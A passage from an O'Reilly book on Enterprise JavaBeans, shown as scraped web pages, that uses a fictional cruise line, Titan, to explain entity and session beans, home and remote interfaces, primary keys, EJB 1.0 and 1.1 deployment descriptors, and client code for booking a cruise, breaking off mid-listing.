To make things a little easier, and more fun, we will attempt to discuss all the concepts in this book in the context of one imaginary business, a cruise line called Titan. A cruise line makes a particularly interesting example because it incorporates several different businesses: a cruise has cabins that are similar to hotel rooms, serves meals like a restaurant, offers various recreational opportunities, and needs to interact with other travel businesses.

This type of business is a good candidate for a distributed object system because many of the system's users are geographically dispersed. Commercial travel agents, for example, who need to book passage on Titan ships will need to access the reservation system. Supporting many--possibly hundreds--of travel agents requires a robust transactional system to ensure that agents have access and reservations are completed properly.

Throughout this book we will build a fairly simple slice of Titan's EJB system that focuses on the process of making a reservation for a cruise. This will give us an opportunity to develop enterprise beans like Ship, Cabin, TravelAgent, ProcessPayment, and so forth. In the process, you will need to create relational database tables for persisting data used in the example. It is assumed that you are familiar with relational database management systems and that you can create tables according to the SQL statements provided. EJB can be used with any kind of database or legacy application, but relational databases seem to be the most commonly understood database so we have chosen this as the persistence layer.

Previous | Home | Next
1.6. CTMs and Server-Side Component Models | Book Index | 1.8. What's Next?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What's Next? (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

1.8. What's Next?

In order to develop business objects using EJB, you have to understand the life cycle and architecture of EJB components. This means understanding conceptually how EJB's components are managed and made available as distributed objects. Developing an understanding of the EJB architecture is the focus of the next two chapters.

Previous | Home | Next
1.7. Titan Cruises: An Imaginary Business | Book Index | 2. Architectural Overview
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Architectural Overview (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Chapter 2. Architectural Overview

Contents:

The Enterprise Bean Component
Using Enterprise Beans
The Bean-Container Contract
Summary

As you learned in Chapter 2, "Architectural Overview", Enterprise JavaBeans is a component model for component transaction monitors, the most advanced type of business application server available today. To effectively use Enterprise JavaBeans, you need to understand the EJB architecture, so this book includes two chapters on the subject. This chapter explores the core of EJB: how enterprise beans are distributed as business objects. Chapter 3, "Resource Management and the Primary Services" explores the services and resource management techniques supported by EJB.

To be truly versatile, the EJB component design had to be smart. For application developers, assembling enterprise beans is simple, requiring little or no expertise in the complex system-level issues that often plague three-tier development efforts. While EJB makes it easy for application developers, it also provides system developers (the people who write EJB servers) with a great deal of flexibility in how they support the EJB specification.

The similarities among different component transaction monitors (CTMs) allow the EJB abstraction to be a standard component model for all of them. Each vendor's CTM is implemented differently, but they all support the same primary services and similar resource management techniques. The primary services and resource management techniques are covered in more detail in Chapter 3, "Resource Management and the Primary Services", but some of the infrastructure for supporting them is addressed in this chapter.

2.1. The Enterprise Bean Component

Enterprise JavaBeans server-side components come in two fundamentally different types: entity beans and session beans. A good rule of thumb is that entity beans model business concepts that can be expressed as nouns. For example, an entity bean might represent a customer, a piece of equipment, an item in inventory, or even a place. In other words, entity beans model real-world objects; these objects are usually persistent records in some kind of database. Our hypothetical cruise line will need entity beans that represent cabins, customers, ships, etc.

Session beans are an extension of the client application and are responsible for managing processes or tasks. A Ship bean provides methods for doing things directly to a ship but doesn't say anything about the context under which those actions are taken. Booking passengers on the ship requires that we use a Ship bean, but also requires a lot of things that have nothing to do with the Ship itself: we'll need to know about passengers, ticket rates, schedules, and so on. A session bean is responsible for this kind of coordination. Session beans tend to manage particular kinds of activities, for example, the act of making a reservation. They have a lot to do with the relationships between different enterprise beans. A TravelAgent session bean, for example, might make use of a Cruise, a Cabin, and a Customer--all entity beans--to make a reservation.

The activity that a session bean represents is fundamentally transient: you start making a reservation, you do a bunch of work, and then it's finished. A session bean doesn't represent something in a database. Obviously, session beans have lots of side effects on the database: in the process of making a reservation, you might create a new Reservation by assigning a Customer to a particular Cabin on a particular Ship. All of these changes would be reflected in the database by actions on the respective entity beans. Session beans like TravelAgent, which is responsible for making a reservation on a cruise, can even access a database directly and perform reads, updates, and deletes to data. But there's no TravelAgent record in the database--once the reservation is made, it's done.

What makes this distinction difficult is that it's extremely flexible. The relevant distinction for Enterprise JavaBeans is that an entity bean has persistent state; a session bean models interactions but doesn't have persistent state.

2.1.1. Classes and Interfaces

A good way to understand the design of enterprise beans is to look at how you'd go about implementing one. To implement an enterprise bean, you need to define two interfaces and one or two classes:

Remote interface

The remote interface for an enterprise bean defines the bean's business methods: the methods a bean presents to the outside world to do its work. The remote interface extends javax.ejb.EJBObject, which in turn extends java.rmi.Remote. (We'll call the rather shadowy entity that actually implements this interface the EJB object.)

Home interface

The home interface defines the bean's life cycle methods: methods for creating new beans, removing beans, and finding beans. The home interface extends javax.ejb.EJBHome, which in turn extends java.rmi.Remote. (We'll call the object that implements the home interface the EJB home.)

Bean class

The bean class actually implements the bean's business methods. Note, however, that the bean class usually does not implement the bean's home or remote interfaces. However, it must have methods matching the signatures of the methods defined in the remote interface and must have methods corresponding to some of the methods in the home interface. If this sounds perfectly confusing, it is. We'll try to clarify this as we go along. An entity bean must implement javax.ejb.EntityBean; a session bean must implement javax.ejb.SessionBean. Both EntityBean and SessionBean extend javax.ejb.EnterpriseBean.

Primary key

The primary key is a very simple class that provides a pointer into the database. Only entity beans need a primary key; the only requirement for this class is that it implements java.io.Serializable.

The complexity--particularly all the confusion about classes implementing the methods of an interface but not implementing the interface itself--comes about because enterprise beans exist in the middle between some kind of client software and some kind of database. The client never interacts with a bean class directly; it always uses the methods of the bean's home and remote interfaces to do its work, interacting with stubs that are generated automatically. (For that matter, a bean that needs the services of another bean is just another client: it uses the same stubs, rather than interacting with the bean class directly.)

There are also lots of interactions between a bean and its server. These interactions are managed by a "container," which is responsible for presenting a uniform interface between the bean and the server. (Although it's incorrect, many people use the terms "container" and "server" interchangeably. We won't promise consistency ourselves. But it's helpful to understand the difference.) The container is responsible for creating new instances of beans, making sure that they are stored properly by the server, and so on. Tools provided by the container's vendor do a tremendous amount of work behind the scenes. At least one tool will take care of creating the mapping between entity beans and records in your database. Other tools generate a lot of code based on the home interface, the remote interface, and the bean class itself. The code generated does things like create the bean, store it in the database, and so on. This code (in addition to the stubs) is what actually implements the two interfaces, and is the reason your bean class doesn't have to.

Before going on let's first establish some conventions. When we speak about an enterprise bean as a whole, its remote interface, home interface, bean class, and so forth, we will call it by its remote-interface name, followed by the word "bean." For example, an enterprise bean that is developed to model a cabin on a ship will be called the "Cabin bean." Notice that we didn't use a constant width font for "Cabin." We do this because we are referring to all the parts of the bean (remote interface, home interface, bean class, etc.) as a whole, not just one particular part like the remote interface or bean class. When we are talking about the remote interface of the Cabin bean we will use constant width. For example, the remote interface for the Cabin bean is called the Cabin remote interface. Likewise, we use constant width for the names of the classes that make up the other parts of the bean. The bean class itself would be called CabinBean, the home interface CabinHome, and the primary key would be called CabinPK.

2.1.1.1. The remote interface

Having introduced the machinery, let's look at how to build a bean. In this section, we will examine the Cabin bean, an entity bean that models a cabin on a cruise ship. Let's start with its remote interface.

We'll define the remote interface for a Cabin bean using the interface called Cabin, which defines business methods for working with cabins. All remote-interface types extend the javax.ejb.EJBObject interface.

import java.rmi.RemoteException;

public interface Cabin extends javax.ejb.EJBObject {
    public String getName() throws RemoteException;
    public void setName(String str) throws RemoteException;
    public int getDeckLevel() throws RemoteException;
    public void setDeckLevel(int level) throws RemoteException;
}

These are methods for naming the cabin and methods for setting the cabin's deck level; you can probably imagine lots of other methods that you'd need, but this is enough to get started. All of these methods declare that they throw RemoteException, which is required of any method that can be invoked through RMI. EJB requires the use of Java RMI-IIOP conventions, although the underlying protocol can be CORBA IIOP, Java Remote Method Protocol ( JRMP), or some other protocol. Java RMI-IIOP will be discussed in more detail in the next chapter.

2.1.1.2. The home interface

The home interface defines life-cycle methods and methods for looking up beans. The home interface extends javax.ejb.EJBHome. We'll call the home interface for the Cabin bean CabinHome and define it like this:

import java.rmi.RemoteException;
import javax.ejb.CreateException;
import javax.ejb.FinderException;

public interface CabinHome extends javax.ejb.EJBHome {
    public Cabin create(int id)
        throws CreateException, RemoteException;
    public Cabin findByPrimaryKey(CabinPK pk)
        throws FinderException, RemoteException;
}

The create() method will be responsible for initializing an instance of our bean. If your application needs it, you can provide other create() methods, with different arguments.

In addition to the findByPrimaryKey(), you are free to define other methods that provide convenient ways to look up Cabin beans--for example, you might want to define a method called findByShip() that returns all the cabins on a particular ship. Find methods like these are only used in EntityBean types and are not used in SessionBean types.

2.1.1.3. The bean class

Now let's look at an actual bean. Here's the code for the CabinBean; it's a sparse implementation, but it will show you how the pieces fit together:

import javax.ejb.EntityContext;

public class CabinBean implements javax.ejb.EntityBean {

    public int id;
    public String name;
    public int deckLevel;

    // EJB 1.0: return void
    public CabinPK ejbCreate(int id){
        this.id = id;
        // EJB 1.0 no return statement
        return null;
    }
    public void ejbPostCreate(int id){
        // do nothing
    }
    public String getName(){
        return name;
    }
    public void setName(String str){
        name = str;
    }
    public int getDeckLevel(){
        return deckLevel;
    }
    public void setDeckLevel(int level){
        deckLevel = level;
    }

    public void setEntityContext(EntityContext ctx){
        // not implemented
    }
    public void unsetEntityContext(){
        // not implemented
    }
    public void ejbActivate(){
        // not implemented
    }
    public void ejbPassivate(){
        // not implemented
    }
    public void ejbLoad(){
        // not implemented
    }
    public void ejbStore(){
        // not implemented
    }
    public void ejbRemove(){
        // not implemented
    }
}

NOTE

The //EJB1.0comments indicate how to modify the code to work with an EJB 1.0 server. As written, this code (and the other examples in this book) assume EJB 1.1, unless otherwise noted.

The set and get methods for the cabin's name and deck level are the business methods of the CabinBean; they match the business methods defined by the bean's remote interface, Cabin. The CabinBean class has state and business behavior that models the concept of a cabin. The business methods are the only methods that are visible to the client application; the other methods are visible only to the EJB container. The other methods are required by the EJB component model and are not really part of the bean class's public business definition.

The ejbCreate() and ejbPostCreate() methods initialize the instance of the bean class when a new cabin record is to be added to the database. The last seven methods in the CabinBean are defined in the javax.ejb.EntityBean interface. These methods are state management callback methods. The EJB server invokes these callback methods on the bean class when important state management events occur. The ejbRemove() method, for example, notifies an entity bean that its data is about to be deleted from the database. The ejbLoad() and ejbStore() methods notify the bean instance that its state is being read or written to the database. The ejbActivate() and ejbPassivate() methods notify the bean instance that it is about to be activated or deactivated, a process that conserves memory and other resources. setEntityContext() provides the bean with an interface to the EJB server that allows the bean class to get information about itself and its surroundings. unsetEntityContext() is called by the EJB server to notify the bean instance that it is about to be dereferenced for garbage collection.

All these callback methods provide the bean class with notifications of when an action is about to be taken, or was just taken, on the bean class's behalf by the EJB server. These notifications simply inform the bean of an event, the bean doesn't have to do anything about it. The callback notifications tell the bean where it is during its life cycle, when it is about to be loaded, removed, deactivated, and so on. Most of the callback methods pertain to persistence, which can be done automatically for the bean class by the EJB server. Because the callback methods are defined in the javax.ejb.EntityBean interface, the bean class must implement them, but it isn't required to do anything meaningful with the methods if it doesn't need to. Our bean, the CabinBean, won't need to do anything when these callback methods are invoked, so these methods are empty implementations. Details about these callback methods, when they are called and how a bean should react, are covered in Chapter 6, "Entity Beans".

2.1.1.4. The primary key

Certain public fields of an entity bean are stored in a database. These fields are called persistent fields. Determining how the data in the database relates to the persistent fields of the bean class is called data mapping. When a bean is deployed into an EJB server, its persistent fields must be mapped to the database. The data used to populate persistent fields in the bean instance is obtained using a primary key. The primary key is a pointer that helps locate data that describes a unique record or entity in the database; it is used in the findByPrimaryKey() method of the home interface to locate a specific entity. Primary keys are defined by the bean developer and must be some type of serializable object. Here's the primary key for the Cabin bean:

public class CabinPK implements java.io.Serializable{
    public int id;

    public int hashCode(){
         return id;
    }
    public boolean equals(Object obj){
        if (obj instanceof CabinPK){
            if (((CabinPK)obj).id == id)
                return true;
        }
        return false;
    }
}

Most EJB container vendors provide some kind of tool, available at deployment time, that helps to map the primary key and the bean's persistent fields to the database. These kinds of tools may present the persistent fields of the bean as well as the structure of the database in a graphical presentation. The person deploying the bean simply ties the bean's fields to its representation in the database, which could be relational database columns, an objectified version of the database, or a more direct mapping to an object database.

2.1.1.5. What about session beans?

CabinBean is an entity bean, but a session bean wouldn't be all that different. It would extend SessionBean instead of EntityBean; it would have an ejbCreate() method that would initialize the bean's state, but no ejbPostCreate(). Session beans don't have an ejbLoad() or ejbStore() because session beans are not persistent. While session beans have a setSessionContext() method, they don't have an unsetSessionContext() method. Finally, a session bean would provide an ejbRemove() method, which would be called to notify the bean that the client no longer needs it. However, this method wouldn't tell the bean that its data was about to be removed from the database, because a session bean doesn't represent data in the database.

Session beans don't have a primary key. That's because session beans are not persistent themselves, so there is no need for key that maps to the database.

2.1.2. Deployment Descriptors and JAR Files

Much of the information about how beans are managed at runtime is not addressed in the interfaces and classes discussed previously. You may have noticed, for example, that we didn't talk about how beans interact with security, transactions, naming, and other services common to distributed object systems. As you know from prior discussions, these types of primary services are handled automatically by the EJB CTM server, but the EJB server still needs to know how to apply the primary services to each bean class at runtime. To do this, we use deployment descriptors.

Deployment descriptors serve a function very similar to property files. They allow us to customize behavior of software (enterprise beans) at runtime without having to change the software itself. Property files are often used with applications, but deployment descriptors are specific to a class of enterprise bean. Deployment descriptors are also similar in purpose to property sheets used in Visual Basic and PowerBuilder. Where property sheets allow us to describe the runtime attributes of visual widgets (background color, font size, etc.), deployment descriptors allow us to describe runtime attributes of server-side components (security, transactional context, etc.). Deployment descriptors allow certain runtime behaviors of beans to be customized, without altering the bean class or its interfaces.

When a bean class and its interfaces have been defined, a deployment descriptor for the bean is created and populated with data about the bean. Frequently, IDEs (integrated development environments) that support development of Enterprise JavaBeans will allow developers to graphically set up the deployment descriptors using visual utilities like property sheets. After the developer has set all the properties for a bean, the deployment descriptor is saved to a file. Once the deployment descriptor is complete and saved to a file, the bean can be packaged in a JAR file for deployment.

JAR ( J ava ar chive) files are ZIP files that are used specifically for packaging Java classes (and other resources such as images) that are ready to be used in some type of application. JARs are used for packaging applets, Java applications, JavaBeans, and Enterprise JavaBeans. A JAR file containing one or more enterprise beans includes the bean classes, remote interfaces, home interfaces, and primary keys (EntityBean types only), for each bean. It also contains one deployment descriptor, which is used for all the beans in the JAR files. When a bean is deployed, the JAR's path is given to the container's deployment tools, which read the JAR file. The container uses the deployment descriptor to learn about the beans contained in the JAR file.

NOTE

EJB 1.0 also requires information in the JAR manifest (a kind of table of contents for the JAR), to denote which entry points to the deployment descriptor. When a bean is deployed, the JAR's path is given to the container's deployment tools, which read the JAR file. The first thing read out of the JAR file after the manifest is the deployment descriptor.

EJB 1.1 doesn't use the JAR's manifest; the first thing read in the JAR is the deployment descriptor.

When the JAR file is read at deployment time, the container tools read the deployment descriptor to learn about the bean and how it should be managed at runtime. The deployment descriptor tells the deployment tools what kind of beans are in the JAR file (SessionBean or EntityBean), how they should be managed in transactions, who has access to the beans at runtime, and other runtime attributes of the beans. The person who is deploying the bean can alter some of these settings, like transactional and security access attributes, to customize the bean for a particular application. Many container tools provide property sheets for graphically reading and altering the deployment descriptor when the bean is deployed. These graphical property sheets are similar to those used by bean developers.

The deployment descriptors help the deployment tools to add beans to the EJB container. Once the bean is deployed, the properties described in the deployment descriptors will continue to be used to tell the EJB container how to manage the bean at runtime.

2.1.2.1. EJB 1.0: Deployment descriptors

Enterprise JavaBeans Version 1.0 uses a set of serializable classes to set and store the deployment descriptor information. Instances of these classes are created and populated with deployment information when the bean is developed, then serialized to a file. The container deploying the bean deserializes the deployment descriptor objects and reads their properties to obtain the deployment information.

Here are some of the property methods defined in the main descriptor class, DeploymentDescriptor. The method bodies have been omitted; what's important at this stage is to get a feel for what methods are defined by a descriptor.

public abstract Class javax.ejb.deployment.DeploymentDescriptor
    extends Object implements Serializable {

  // The release version of the bean
  protected int versionNumber;

  // Get the AccessControlEntry objects for the enterprise bean.
  public AccessControlEntry[] getAccessControlEntries() {}
  // Get the control descriptor at the specified index.
  public ControlDescriptor getControlDescriptors(int index) {}
  // Get the enterprise bean's full class name.
  public String getEnterpriseBeanClassName(){}
  // Get enterprise bean's environment properties.
  public Properties getEnvironmentProperties() {}
  // Get the full name of the enterprise bean's home interface.
  public String getHomeInterfaceClassName() {}
  // Get the full name of the enterprise bean's remote interface.
  public String getRemoteInterfaceClassName() {}

  // Set the AccessControlEntry objects for the enterprise bean.
  public void setAccessControlEntries(AccessControlEntry values []){}
  // Set the control descriptor at the specified index.
  public void setControlDescriptors(int index, ControlDescriptor value) {}
  // Set the enterprise bean's full class name.
  public void setEnterpriseBeanClassName(String value) {}
  // Set enterprise bean's environment properties.
  public void setEnvironmentProperties(Properties value) {}
  // Set the full name of the enterprise bean's home interface.
  public void setHomeInterfaceClassName(String value) {}
  // Specify that the enterprise bean is reentrant.
  public void setReentrant(boolean value) {}
  // Set the full name of the enterprise bean's remote interface.
  public void setRemoteInterfaceClassName(String value) {}

  // ... Other set and get methods for properties follow.
}

The classes used to provide deployment information are found in the javax.ejb.deployment package, which has five deployment descriptor classes:

DeploymentDescriptor

The DeploymentDescriptor class is the abstract superclass for both EntityDescriptor and SessionDescriptor. It provides the accessor methods for reading properties that describe the bean's version number, and the names of the classes for the bean's remote interface, home interface, and bean class. In addition, the deployment descriptor provides access to the ControlDescriptors and AccessControlEntrys.

ControlDescriptor

The ControlDescriptor class provides accessor methods for defining the security and transactional attributes of a bean at runtime. ControlDescriptors can be applied to the bean as a whole, or to specific methods of the bean. Any method that doesn't have a ControlDescriptor uses the default properties defined by the ControlDescriptor for the bean itself. Security properties in the ControlDescriptor indicate how AccessControlEntrys are applied at runtime. Transactional properties indicate how the bean or specific method will be involved in transactions at runtime.

AccessControlEntry

Each AccessControlEntry identifies a person, group, or role that can access the bean or one of its methods. Like ControlDescriptor, AccessControlEntry can be applied to the bean as a whole or to a specific method. An AccessControlEntry that is specific to a method overrides the default AccessControlEntrys set for the bean. The AccessControlEntrys are used in combination with the security properties in the ControlDescriptor to provide more control over runtime access to the bean and its methods.

EntityDescriptor

The EntityDescriptor class extends DeploymentDescriptor to provide properties specific to an EntityBean object. Entity bean properties include the name of the primary key class and what instance variables are managed automatically by the container.

SessionDescriptor

The SessionDescriptor class extends DeploymentDescriptor to provide properties specific to a SessionBean object. Session bean properties include a timeout setting (how long a session can go unused before it's automatically removed) and a stateless session property. The stateless session property indicates whether the session is a stateless session bean or a stateful session bean. (More about stateless and stateful session beans later.)

Several of the properties described by the deployment descriptors, such as transactional and security attributes, have not yet been discussed. Later we will discuss these topics in more detail, but for now it's important that you understand that the deployment descriptors in EJB 1.0 are serialized class instances that describe the bean and some of its runtime behavior to the container.

2.1.2.2. EJB 1.1: Deployment descriptors

Enterprise JavaBeans 1.1 dropped the serializable deployment descriptor classes used in EJB 1.0 in favor of a more flexible file format based on XML (Ex tensible M arkup Language). The new XML deployment descriptors are text files structured according to a standard EJB DTD (Document Type Definition) that can be extended so the type of deployment information stored can evolve as the specification evolves. Chapter 10, "XML Deployment Descriptors" provides a a detailed description of EJB 1.1 deployment descriptors. This section provides a brief overview of XML deployment descriptors.

The following deployment descriptor might be used to describe the Cabin bean:

<?xml version="1.0"?>

<!DOCTYPE ejb-jar PUBLIC "-//Sun Microsystems, Inc.//DTD Enterprise
JavaBeans 1.2//EN" "http://java.sun.com/j2ee/dtds/ejb-jar_1_1.dtd">

<ejb-jar>
    <enterprise-beans>
        <entity>
            <ejb-name>CabinEJB</ejb-name>
            <home>com.titan.cabin.CabinHome</home>
            <remote>com.titan.cabin.Cabin</remote>
            <ejb-class>com.titan.cabin.CabinBean</ejb-class>
            <prim-key-class>com.titan.cabin.CabinPK</prim-key-class>
            <persistence-type>Container</persistence-type>
            <reentrant>False</reentrant>
        </entity>
    </enterprise-beans>
</ejb-jar>

The deployment descriptor for a real bean would have a lot more information; this example simply illustrates the type of information that you'll find in an XML deployment descriptor.

The second element in any XML document is !DOCTYPE. This element describes the organization that defined the DTD for the XML document, the DTD's version, and a URL location of the DTD. The DTD describes how a particular XML document is structured.

All the other elements in the XML document are specific to EJB 1.1. They do not represent all the elements used in deployment descriptors, but they illustrate the types of elements that are used. Here's what the elements mean:

ejb-jar

The root of the XML deployment descriptor. All other elements must be nested below this one. It must contain one enterprise-beans element as well as other optional elements.

enterprise-beans

Contains declarations for all the beans described by this XML document. It may contain entity and session elements, which describe entity beans and session beans respectively.

entity

Describes an entity bean and its deployment information. There must be one of these elements for every entity bean described by the XML deployment descriptor. (The session element is used in the same way to describe a session bean.)

ejb-name

The descriptive name of the bean. It's the name we use for the bean in conversation, when talking about the bean component as a whole.

home

The fully qualified class name of the home interface. This is the interface that defines the life-cycle behaviors (create, find, remove) of the bean.

remote

The fully qualified class name of the remote interface. This is the interface that defines the bean's business methods.

ejb-class

The fully qualified class name of the bean class. This is the class that implements the business methods of the bean.

prim-key-class

The fully qualified class name of the bean's primary key. The primary key is used to find the bean data in the database.

The last two elements in the deployment descriptor, the persistence-type and reentrant elements, express the persistence strategy and concurrency policies of the entity bean. These elements are explained in more detail later in the book.

As you progress through this book, you will be introduced to the elements that describe concepts we have not covered yet, so don't worry about knowing all of the things you might find in a deployment descriptor.

2.1.3. The Unseen Pieces

We've done a lot of hand waving about the strange relationships between an enterprise bean and its interfaces. Now it's time to talk a little more precisely about what's going on. Unfortunately, we can't talk as precisely as we'd like. There are a number of ways for an EJB container to implement these relationships; we'll show some of the possibilities.

The two missing pieces are the EJB object itself and the EJB home. You will probably never see the EJB home and EJB object classes because their class definitions are proprietary to the vendor's EJB implementation and are generally not made public. This is good because it represents a separation of responsibilities along areas of expertise. As an application developer, you are intimately familiar with how your business environment works and needs to be modeled, so you will focus on creating the applications and beans that describe your business. System-level developers, the people who write EJB servers, don't understand your business, but they do understand how to develop CTMs and support distributed objects. It makes sense for system-level developers to apply their skills to mechanics of managing distributed objects but leave the business logic to you, the application developer. Let's talk briefly about the EJB object and the EJB home so you understand the missing pieces in the big picture.

2.1.3.1. The EJB object

This chapter has said a lot about a bean's remote interface, which extends the EJBObject interface. Who implements that interface? Clearly, the client stub: we understand that much. But what about the server side?

On the server side, an EJB object is a distributed object that implements the remote interface of the bean. It wraps the bean instance--that is, the enterprise bean class you've created (in our example, the CabinBean)--on the server and expands its functionality to include javax.ejb.EJBObject behavior. The EJB object is generated by the utilities provided by the vendor of your EJB container and is based on the bean classes and the information provided by the deployment descriptor. The EJB object wraps the bean instance and works with the container to apply transactions, security, and other system-level operations to the bean at runtime. Chapter 3, "Resource Management and the Primary Services" talks more about the EJB object's role with regard to system-level operations.

There are a number of strategies that a vendor can use to implement the EJB object; Chapter 2, "Architectural Overview" illustrates three possibilities.

Figure 2-1. Three ways to implement the EJB object

In Figure 2-1(a) you see that the EJB object is a classic wrapper because it holds a reference to the bean class and delegates the requests to the bean. Chapter 2, "Architectural Overview"(b) shows that the EJB object class actually extends the bean class, adding functionality specific to the EJB container. In Chapter 2, "Architectural Overview"(c), you see that the bean class is no longer included in the model. In this case, the EJB object has both a proprietary implementation required by the EJB container and bean class method implementations that were copied from the bean class's definition.

The EJB object design that is shown in Chapter 2, "Architectural Overview"(a) is perhaps the most common. Throughout this book, particularly in the next chapter, we will explain how EJB works with the assumption that the EJB object wraps the bean class instance as depicted in Figure 2-1(a). But the other implementations are used; it shouldn't make a difference which one your vendor has chosen. The bottom line is that you never really know much about the EJB object: its implementation is up to the vendor. Knowing that it exists and knowing that its existence answers a lot of questions about how enterprise beans are structured, should be sufficient. Everything that any client (including other enterprise beans) really needs to know about any bean is described by the remote and home interfaces.

2.1.3.2. The EJB home

The EJB home is a lot like the EJB object. It's another class that's generated automatically when you install an enterprise bean in a container. It implements all the methods defined by the home interface and is responsible for helping the container in managing the bean's life cycle. Working closely with the EJB container, the EJB home is responsible for locating, creating, and removing enterprise beans. This may involve working with the EJB server's resource managers, instance pooling, and persistence mechanisms, the details of which are hidden from the developer.

For example, when a create method is invoked on the home interface, the EJB home creates an instance of the EJB object which references a bean instance of the appropriate type. Once the bean instance is associated with the EJB object, the instance's matching ejbCreate() method is called. In the case of an entity bean, a new record is inserted into the database. With session beans the instance is simply initialized. Once the ejbCreate() method has completed, the EJB home returns a remote reference (i.e., a stub) for the EJB object to the client. The client can then begin to work with the EJB object by invoking business methods using the stub. The stub relays the methods to the EJB object; in turn, the EJB object delegates those method calls to the bean instance.

Figure 2-2 illustrates the architecture of EJB with the EJB home and EJB object implementing the home interface and remote interface respectively. The bean class is also shown as being wrapped by the EJB object.

Figure 2-2. EJB architecture

2.1.3.3. Deploying a bean

The EJB object and EJB home are generated during the deployment process. After the files that define the bean (the home interface, the remote interface, and the bean classes) have been packaged into a JAR file, the bean is ready to be deployed: that is, added to an EJB container so that it can be accessed as a distributed component. During the deployment process, tools provided by the EJB container vendor generate the EJB object and EJB home classes by examining the deployment descriptor and the other interfaces and classes in the JAR file.

Previous | Home | Next
1.8. What's Next? | Book Index | 2.2. Using Enterprise Beans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using Enterprise Beans (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

2.2. Using Enterprise Beans

Now that you actually have a bean to work with, let's look at how a client would work with a bean to do something useful. We'll start with the Cabin bean that was defined earlier. A cabin is a thing or place whose description is stored in a database. To make the example a little bit more real, imagine that there are other entity beans, including a Ship, Cruise, Ticket, Passenger, Employee, and so on.

2.2.1. Getting Information from an Entity Bean

Imagine that a GUI client needs to display information about a particular cruise, including the cruise name, the ship name, and a list of cabins. Using the cruise ID obtained from a text field, we can use some of our beans to populate the GUI with data about the requested cruise. Here's what the code would look like:

CruiseHome cruiseHome = ... getCruiseHome();
// Get the cruise id from a text field.
String cruiseID = textFields1.getText();
// Create an EJB primary key from the cruise id.
CruisePrimaryKey pk = new CruisePrimaryKey(cruiseID);
// Use the primary key to find the cruise.
Cruise cruise = cruiseHome.findByPrimaryKey(pk);
// Set text field 2 to show the cruise name.
textField2.setText(cruise.getName());
// Get a remote reference to the ship that will be used
// for the cruise from the cruise bean.
Ship ship = cruise.getShip();
// Set text field 3 to show the ship's name.
textField3.setText(ship.getName());

// Get a list of all the cabins on the ship as remote references
// to the cabin beans.
Cabin [] cabins = ship.getCabins();

// Iterate through the enumeration, adding the name of each cabin
// to a list box.
for (int i = 0; i < cabins.length; i++){
    Cabin cabin = cabins[i];
    listBox1.addItem(cabin.getName());
}

Let's start by getting a remote reference to the EJB home for an entity bean that represents a cruise. It's not shown in the example, but references to the EJB home are obtained using JNDI. Java Naming and Directory Interface ( JNDI) is a powerful API for locating resources, such as remote objects, on networks. It's a little too complicated to talk about here, but rest assured that it will be covered in subsequent chapters.

We read a cruise ID from a text field, use it to create a primary key, and use that primary key together with the EJB home to get a Cruise, the object that implements the business methods of our bean. Once we have the appropriate cruise, we can ask the cruise to give us the Ship that will be used for the cruise. We can then get a list of Cabins from the Ship and display the names of the Cabins in the client.

Entity beans model data and behavior. They provide a system with a reusable and consistent interface to data in the database. The behavior used in entity beans is usually focused on applying business rules that pertain directly to changing data. In addition, entity beans can model relationships with other entities. A ship, for example, has many cabins. We can get a list of cabins owned by the ship by invoking the ship.getCabins() method.

Entity beans are shared by many clients. An example is the Ship bean. The behavior and data associated with a Ship bean will be used concurrently by many clients on the system. There are only three ships in Titan's fleet, so it's easy to imagine that several clients will need to access these entities at the same time. Entity beans are designed to service multiple clients, providing fast, reliable access to data and behavior while protecting the integrity of data changes. Because entity beans are shared, we can rest assured that everyone is using the same entity and seeing the same data as it changes. In other words, we don't have duplicate entities with different representations of the same data.[1]

[1] This is dependent on the isolation level set on the bean's data, which is discussed in more detail in Chapter 8, "Transactions".

2.2.2. Modeling Workflow with Session Beans

Entity beans are useful for objectifying data and describing business concepts that can be expressed as nouns, but they're not very good at representing a process or a task. A Ship bean provides methods and behavior for doing things directly to a ship, but it does not define the context under which these actions are taken. The previous example retrieved data about cruises and ships; we could also have modified this data. And if we had gone to enough effort, we could have figured out how to book a passenger--perhaps by adding a Customer bean to a Cruise bean or adding a customer to a list of passengers maintained by the ship. We could try to shove methods for accepting payment and other tasks related to booking into our client application, or even into the Ship or Cabin beans, but that's a contrived and inappropriate solution. We don't want business logic in the client application--that's why we went to a multitier architecture in the first place. Similarly, we don't want this kind of logic in our entity beans that represent ships and cabins. Booking passengers on a ship or scheduling a ship for a cruise are the types of activities or functions of the business, not the Ship or the Cabin bean, and are therefore expressed in terms of a process or task.

Session beans act as agents for the client managing business processes or tasks; they're the appropriate place for business logic. A session bean is not persistent like an entity bean; nothing in a session bean maps directly into a database or is stored between sessions. Session beans work with entity beans, data, and other resources to control workflow. Workflow is the essence of any business system because it expresses how entities interact to model the actual business. Session beans control tasks and resources but do not themselves represent data.

The following code demonstrates how a session bean, designed to make cruise line reservations, might control the workflow of other entity and session beans to accomplish this task. Imagine that a piece of client software, in this case a user interface, obtains a remote reference to a TravelAgent session bean. Using the information entered into text fields by the user, the client application books a passenger on a cruise:

// Get the credit card number from the text field.
String creditCard = textField1.getText();
int cabinID = Integer.parseInt(textField2.getText());
int cruiseID = Integer.parseInt(textField3.getText());

// Create a new Reservation session passing in a reference to a
// customer entity bean.
TravelAgent travelAgent = TravelAgentHome.create(customer);

// Set cabin and cruise IDs.
travelAgent.setCabinID(cabinID);
travelAgent.setCruiseID(cruiseID);

// Using the card number and price, book passage.
// This method returns a Ticket object.
Ticket ticket = travelAgent.bookPassage(creditCard, price);

This is a fairly coarse-grained abstraction of the process of booking a passenger on a cruise. Coarse-grained means that most of the details of the booking process are hidden from the client. Hiding the fine-grained details of workflow is important because it provides us with more flexibility in how the system evolves and how clients are allowed to interact with the EJB system.

The following listing shows some of the code included in the TravelAgentBean. The bookPassage() method actually works with three entity beans, the Customer, Cabin, and Cruise beans, and another session bean, the ProcessPayment bean. The ProcessPayment bean provides several different methods for making a payment including check, cash, and credit card. In this case, we are using the ProcessPayment session to make a credit card purchase of a cruise ticket. Once payment has been made, a serializable Ticket object is created and returned to the client application.

public class TravelAgentBean implements javax.ejb.SessionBean {

    public Customer customer;
    public Cruise cruise;
    public Cabin cabin;

    public void ejbCreate(Customer cust) {
